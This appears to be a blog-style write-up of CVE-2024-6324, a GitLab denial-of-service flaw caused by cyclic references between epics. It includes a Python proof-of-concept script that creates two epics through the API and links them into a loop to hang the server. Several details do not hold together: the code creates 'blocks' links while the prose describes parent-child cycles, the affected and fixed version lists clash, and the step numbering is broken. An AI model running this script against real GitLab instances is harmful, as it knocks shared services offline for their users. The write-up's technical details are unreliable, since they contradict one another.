---

GitLab is one of the most popular tools for code collaboration and DevOps pipelines, with millions of users worldwide. However, even trusted platforms can have flaws. In this in-depth read, we’ll explore CVE-2024-6324—a newly discovered vulnerability that allowed attackers to trigger a Denial of Service (DoS) by creating cyclic references between GitLab epics.

Vulnerable Versions:

* GitLab CE/EE 15.7 and up to (not including) 17.5.5

* GitLab 17.7 up to (not including) 17.7.1

> Fixed in:
> - 17.5.5
> - 17.6.3
> - 17.7.1

Let’s break down what this means and how the exploit worked.

What’s an Epic and What’s a Cyclic Reference?

A GitLab epic is like a big issue—a way for organizations to track and organize their work across projects. Epics can reference other epics as "parent" or "child," forming a hierarchy.

Here’s the catch: what if you made Epic A a child of Epic B, and then Epic B a child of Epic A? Or more complex: A → B → C → A? That’s called a cyclic reference—a loop where you can go round and round forever.

How The Vulnerability Works

Normally, applications defend against cycles in data trees like this. But due to improper checks within GitLab’s code, a user who could create or update epics was able to form a loop. When the GitLab backend tried to render or process these epics, it entered an infinite (or very large) loop, which could starve the system of resources—a classic Denial of Service.

Create two or more epics.

2. Set them up so each references the next as a child, then the last one references the first as a child.

The code attempting to walk through epic relationships would never reach the end, causing timeouts, high CPU usage, or failures for users and server.

Let’s see a simple proof-of-concept using GitLab’s API (assuming you have an access token)

import requests

GITLAB_URL = 'https://your.gitlab.instance';
TOKEN = 'access_token_here'
GROUP_ID = 123  # Your group ID

headers = {'PRIVATE-TOKEN': TOKEN}

# 1. Create two epics
epic_a = requests.post(
    f"{GITLAB_URL}/api/v4/groups/{GROUP_ID}/epics",
    headers=headers,
    data={'title': 'Epic A'}
).json()

epic_b = requests.post(
    f"{GITLAB_URL}/api/v4/groups/{GROUP_ID}/epics",
    headers=headers,
    data={'title': 'Epic B'}
).json()

# 2. Make each epic a child of the other (cycle)
requests.post(
    f"{GITLAB_URL}/api/v4/groups/{GROUP_ID}/epics/{epic_a['id']}/related_epics",
    headers=headers,
    data={'epic_id': epic_b['id'], 'link_type': 'blocks'}
)
requests.post(
    f"{GITLAB_URL}/api/v4/groups/{GROUP_ID}/epics/{epic_b['id']}/related_epics",
    headers=headers,
    data={'epic_id': epic_a['id'], 'link_type': 'blocks'}
)

Now, try to load one of those epics in the browser or in the API. The GitLab backend will get stuck in the loop.

Impact and Threat Model

- No authentication bypass: You still need to be able to create/edit epics.
- Availability risk: Mainly DoS—server hangs, can’t load epic trees, may even affect the whole GitLab instance if not isolated.

Fix and Mitigations

GitLab mitigated this by adding cycle detection when creating or updating references. Now, if you try to create a cyclic relationship, GitLab will block the operation.

Upgrade now

References

- GitLab Advisory
- NVD CVE-2024-6324

Encourage regular updates to close emergent vulnerabilities

- Monitor server health: If you see unexplained CPU spikes or timeouts, suspect resource abuse—even from legitimate workflows.

Timeline

Published on: 01/09/2025 06:15:15 UTC